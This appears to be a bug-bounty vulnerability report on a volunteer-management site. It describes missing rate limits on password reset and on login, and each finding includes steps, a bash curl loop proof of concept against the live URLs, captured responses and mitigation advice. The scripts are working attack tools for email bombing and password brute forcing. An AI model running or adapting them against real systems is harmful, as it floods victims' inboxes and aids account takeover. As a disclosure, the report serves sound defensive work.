No Rate Limiting for Password Reset Email Leads to Email Flooding

Issue Identified

There is "No Rate Limiting" implemented in sending the Password Reset Email. Thus, attacker can use this Vulnerability to bomb out the Email Inbox of the victim.

Affected URL: https://app.volunteerlocal.com/manage/reset_password.php

Step to reproduce

1. Enter any user mail ID in the password reset.
2. Capture the POST request using a proxy.
3. Send the POST request to burp intruder and set the payload to high-value
4. After finishing the attack, go to the user's mail account and check the inbox. It will be completely bombarded with forgot password emails.

Proof-of-Concept (PoC):

Note: This is bash script. I performed this attack on my own account.

```
#!/bin/bash

# Define the email
email="victim_email"
url="https://app.volunteerlocal.com/manage/reset_password.php"

# Loop from 1 to 20
for i in {1..20}
do
   echo "Sending password reset request $i..."

   curl -i -s -k -X 'POST' \
      -H 'Host: app.volunteerlocal.com' \
      -H 'Content-Length: 39' \
      -H 'Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"' \
      -H 'Accept: application/json, text/javascript, */*; q=0.01' \
      -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
      -H 'X-Requested-With: XMLHttpRequest' \
      -H 'Sec-Ch-Ua-Mobile: ?0' \
      -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/105.0.5195.102 Safari/537.36' \
      -H 'Sec-Ch-Ua-Platform: "Linux"' \
      -H 'Origin: https://app.volunteerlocal.com' \
```

```
      -H 'Sec-Fetch-Site: same-origin' \
      -H 'Sec-Fetch-Mode: cors' \
      -H 'Sec-Fetch-Dest: empty' \
      -H 'Referer: https://app.volunteerlocal.com/manage/' \
      -H 'Accept-Encoding: gzip, deflate' \
      -H 'Accept-Language: en-US,en;q=0.9' \
      --data-binary "email=$email&reset_now" \
      $url

   sleep 1
done
```

```
└─ $bash no-rate-limit-pass-reset.sh
Sending password reset request 1...
HTTP/2 200
date: Wed, 10 Jul 2024 14:02:04 GMT
content-type: text/html; charset=UTF-8
content-length: 12
server: Apache/2.4.59 (Amazon) PHP/5.6.40
x-powered-by: PHP/5.6.40
set-cookie: PHPSESSID=626a8tbc4e85mvegmhkff8v496; path=/
expires: Thu, 19 Nov 1981 08:52:00 GMT
cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache
x-frame-options: DENY
access-control-allow-origin: https://app.volunteerlocal.com
vary: Origin

{"result":1}Sending password reset request 2...
HTTP/2 200
date: Wed, 10 Jul 2024 14:02:07 GMT
content-type: text/html; charset=UTF-8
content-length: 12
server: Apache/2.4.59 (Amazon) PHP/5.6.40
x-powered-by: PHP/5.6.40
set-cookie: PHPSESSID=s88mmiphjatqldvdn9uns1hgj3; path=/
expires: Thu, 19 Nov 1981 08:52:00 GMT
cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache
x-frame-options: DENY
access-control-allow-origin: https://app.volunteerlocal.com
vary: Origin

{"result":1}Sending password reset request 3...
HTTP/2 200
date: Wed, 10 Jul 2024 14:02:10 GMT
content-type: text/html; charset=UTF-8
content-length: 12
server: Apache/2.4.59 (Amazon) PHP/5.6.40
```

Figure 1 PoC Running

support@volunteerlocal.com	Reset your VolunteerLocal password [5902]	2024-07-10 14:03:02
support@volunteerlocal.com	Reset your VolunteerLocal password [5302]	2024-07-10 14:02:54
support@volunteerlocal.com	Reset your VolunteerLocal password [5002]	2024-07-10 14:02:52
support@volunteerlocal.com	Reset your VolunteerLocal password [4802]	2024-07-10 14:02:49
support@volunteerlocal.com	Reset your VolunteerLocal password [4202]	2024-07-10 14:02:45
support@volunteerlocal.com	Reset your VolunteerLocal password [3902]	2024-07-10 14:02:41
support@volunteerlocal.com	Reset your VolunteerLocal password [3502]	2024-07-10 14:02:36
support@volunteerlocal.com	Reset your VolunteerLocal password [3202]	2024-07-10 14:02:34
support@volunteerlocal.com	Reset your VolunteerLocal password [2902]	2024-07-10 14:02:31
support@volunteerlocal.com	Reset your VolunteerLocal password [2602]	2024-07-10 14:02:27
support@volunteerlocal.com	Reset your VolunteerLocal password [2302]	2024-07-10 14:02:25
support@volunteerlocal.com	Reset your VolunteerLocal password [1702]	2024-07-10 14:02:18
support@volunteerlocal.com	Reset your VolunteerLocal password [1402]	2024-07-10 14:02:15
support@volunteerlocal.com	Reset your VolunteerLocal password [1002]	2024-07-10 14:02:12

Figure 2 Target's Email Inbox

Mitigation

Rate limiting should be implemented to Prevent Email Flooding.

Impact

Email Flooding can create Trouble to the users on the website because huge email bombing can be done by the attackers within seconds.

Reference

- https://hackerone.com/reports/280534

No Rate Limit on Login Page can lead to Account takeover

Issue Identified

The lack of rate limiting on the login page of the application allows attackers to perform brute force attacks. This vulnerability can lead to account takeover by enabling attackers to try multiple password combinations without restriction, potentially compromising user accounts and gaining unauthorized access.

Affected URL: https://app.volunteerlocal.com/manage/

Step to reproduce:

1. Login and enter the victim's email id and some random password and click login.
2. Now capture this request using burpsuite and send it to the intruder and add the password field to attack.
3. Now set the payload. [Here I added 1000 payloads] and start the attack.

Proof-of-Concept (PoC):

Note: This is bash script. I performed this attack on my own account.

```
#!/bin/bash

# Define the URL and payload
url="https://app.volunteerlocal.com/manage/"
payload="email=Valid-
email@gmail.com&password=hacsddasd&login_button=Log+In&qs="

# Loop from 1 to 20
for i in {1..20}
do
    echo "Sending request $i..."

    curl -i -s -k -X 'POST' \
        -H 'Host: app.volunteerlocal.com' \
        -H 'Content-Length: 74' \
        -H 'Cache-Control: max-age=0' \
        -H 'Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"' \
        -H 'Sec-Ch-Ua-Mobile: ?0' \
        -H 'Sec-Ch-Ua-Platform: "Linux"' \
        -H 'Upgrade-Insecure-Requests: 1' \
        -H 'Origin: https://app.volunteerlocal.com' \
```

```
        -H 'Content-Type: application/x-www-form-urlencoded' \
        -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102
Safari/537.36' \
        -H 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
p,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \
        -H 'Sec-Fetch-Site: same-origin' \
        -H 'Sec-Fetch-Mode: navigate' \
        -H 'Sec-Fetch-User: ?1' \
        -H 'Sec-Fetch-Dest: document' \
        -H 'Referer: https://app.volunteerlocal.com/manage/' \
        -H 'Accept-Encoding: gzip, deflate' \
        -H 'Accept-Language: en-US,en;q=0.9' \
        --data-binary "$payload" \
        $url

    sleep 1
done
```

```
└─$ $bash test.sh | grep -i 200
HTTP/2 200
    <link href="https://www.volunteerlocal.com/css/templa
            &copy; 2009-2024 VolunteerLocal   
HTTP/2 200
    <link href="https://www.volunteerlocal.com/css/templa
            &copy; 2009-2024 VolunteerLocal   
HTTP/2 200
    <link href="https://www.volunteerlocal.com/css/templa
            &copy; 2009-2024 VolunteerLocal   
HTTP/2 200
    <link href="https://www.volunteerlocal.com/css/templa
            &copy; 2009-2024 VolunteerLocal   
```

Impact

The attacker can easily takeover to the victim's account using this method.

Mitigation:

As a best practice the site should be implemented with some ratelimit functionalities like after 5 or 10 wrong login attempts the server should block the ip address and should respond with status code 429 "Too Many Requests".

Reference:

- https://hackerone.com/reports/1322243